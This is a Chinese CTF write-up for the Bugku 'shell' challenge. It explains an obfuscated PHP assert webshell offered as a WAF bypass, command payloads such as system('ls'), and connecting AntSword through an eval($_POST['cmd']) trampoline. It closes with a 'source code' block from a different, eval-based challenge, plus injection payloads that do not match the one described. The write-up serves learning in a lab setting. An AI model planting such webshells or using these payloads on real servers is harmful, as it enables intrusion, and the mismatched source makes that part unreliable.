shell – Bugku CTF平台

前置:

题目给了提示:

送给大家一个过狗一句话 \$poc=”a#s#s#e#r#t”; \$poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’])

    • 解释:\$poc=”a#s#s#e#r#t”; 定义一个字符串,用 # 分隔字母,看起来像普通字符串,避免直接出现敏感词 assert(可能绕过 WAF 或静态扫描)。

    • \$poc_1 = explode(“#”, $poc);使用 explode()# 分割字符串,得到数组:$poc_1 = [‘a’, ‘s’, ‘s’, ‘e’, ‘r’, ‘t’];

    • $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];将数组元素拼接成完整字符串:$poc_2 = “a” . “s” . “s” . “e” . “r” . “t” = “assert”;

    • $poc_2($_GET[‘s’]);等价于 assert($_GET['s']);
      从 URL 的 s 参数(如 ?s=phpinfo();)获取用户输入,并作为 PHP 代码执行。

解一:

本题最简单的解决方式就是直接传参,首先?s=system(“ls”),读出:flaga15808abee46a1d5.txt index.php

这句话的意思其实后台执行了

assert("system('ls')");

而 system() 是 PHP 的函数用于执行系统命令,而 ls 命令则是在 linux 环境列出 php 文件所在文件夹下的文件们,而如果 php 文件所在系统是 windows,则用 dir 命令列出所有文件

于是便可直接?s=system(“cat%20flaga15808abee46a1d5.txt”)读出flag

提交完发现坏事了,因为还有种方法没试,于是又多花了3金币开了一个容器

解二:antsward链接

这里我遇到了一件有些矛盾的事情:如果直接如解法一传入?s=system(“ls”)是可以读取内容的,但antsward链接却不可以(链接密码为s,url输入http://171.80.2.169:10210

只有迂回一下才能读到文件(URL: http://.../?s=eval($_POST['cmd'])密码: cmd

这里需要引入antsword底层的一点问题

蚁剑原理:它会发起一次 POST 请求,URL 地址和参数如图,并在请求体里携带 cmd 参数名和查询文件夹等系统命令过去,后台代码从上到下执行,先获取 URL 的 s 后面的查询参数,被 assert 执行了,执行的就是 eval($_POST[‘cmd’]) 这句话,去 POST 请求体里找到 cmd 参数的值就是注入的命令,交给 eval 执行并返回结果给蚁剑,就能这样渗透进服务器直接通过工具双击看文件内容了

简单解释其中区别:

题目的 WebShell 实际等价于:

<?php assert($_GET['s']); ?>

为什么手动测试 ?s=system("ls") 能成功?

因为:

在 PHP 5.x 中,assert()把字符串当作 PHP 代码执行(和 eval 类似)。

→ 所以看到 ls 的输出,完全正常。

为什么蚁剑直接用密码 s 连接会失败(返回空)?

根本原因:蚁剑默认发送的是 Base64 编码的字符串,而 assert() 无法正确执行它

蚁剑默认行为(当你设密码为 s):

    • 生成一段复杂 PHP 载荷(用于文件管理、命令执行等);

    • 将其 Base64 编码

    • 作为 s 的值通过 GET 发送,例如:?s=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwwKTtAc2V0X3RpbWVfbGltaXQoMCk7…

WebShell 执行:assert(“QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwwKTt…”);

⚠️ 问题来了:

    • "QGluaV9zZXQo..." 是一个 纯字符串字面量,不是合法的 PHP 代码;

    • 在 PHP 5.x 中,assert("任意字符串")尝试把该字符串当作表达式求值

    • QGlua... 不是合法表达式(没有引号、不是函数调用、不是变量),会导致 assert() 静默失败或抛出警告(但被 @ 屏蔽)

    • 最终 无任何输出 → 蚁剑收到空响应 → 显示“连接失败”或空白。

📌 关键点:assert() 执行的是“表达式”,不是“脚本”
它可以执行 system("ls")(这是一个函数调用表达式),
但不能执行一长串 Base64 编码的脚本(因为那不是有效表达式)。

为什么“迂回法”能成功?

使用的配置:

    • URL: http://.../?s=eval($_POST['cmd'])

    • 密码: cmd

执行流程:

    1. GET 请求:?s=eval($_POST[‘cmd’])

    1. WebShell 执行:assert(“eval(\$_POST[‘cmd’])”);→ 在 PHP 5.x 中,这会 执行 eval($_POST['cmd']) 这条语句(因为它是合法表达式:函数调用)。

    1. 蚁剑同时发送 POST:POST /… HTTP/1.1 cmd=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwwKTt…

    1. 服务器执行:eval($_POST[‘cmd’]); // ← 这里执行的是 Base64 载荷 → eval() 可以执行任意 PHP 代码(包括 Base64 解码后的复杂逻辑); → 输出 ->|...|<- 格式; → 蚁剑成功解析。

所以,“迂回法”的本质是:

assert() 执行一个“跳板语句” eval($_POST['cmd']),把真正的执行权交给 eval(),从而兼容蚁剑的 Base64 载荷。

所以本质区别在于eval和assert:assert() 只能处理表达式,而蚁剑的通信载荷是一段完整 PHP 脚本(多语句),所以 assert 无法承载。

 

题目源码如下

				
					<?php
include "flag.php"; /* 引入 flag.php 文件执行里面的代码 */
$a = @$_REQUEST['hello']; /* @ 是错误抑制符,$_REQUEST['hello'] 提取 hello 这个 POST / GET / COOKIE 里传递过来的这个参数值(POST 里有就取,没有则会自动使用后面几种方式取值) */
eval("var_dump($a);"); /* eval() 会把后面字符串里的内容当做 PHP 代码运行 */
show_source(__FILE__); /* __FILE__ PHP 内置固定的魔术常量,表示当前文件的完整路径,show_source() 高亮显示指定文件的源码 */
?>
				
			

所以这里我们要做的就是传入?hello=1);…..

而…..的内容就是我们需要执行的命令

先给出我们的payload,我一共写出来三种

1:?hello=1);highlight_file(“flag.php”);//

2:?hello=1);readfile(“flag.php”);//

3:?hello=);system(‘cat flag.php’);//

主要解释一下这里的原理:

eval将内容当作php代码执行

var_dump干了什么呢?

当你传入 ?hello=1); system(‘id’); // 时,实际执行的是:
var_dump(1); system(‘id’); //

);用来闭合语句

//将后续的)注释掉

这里有一个注意点,别忘了分号!eval需要分号才能执行语句

 

此作者没有提供个人介绍。
最后更新于 2025-12-21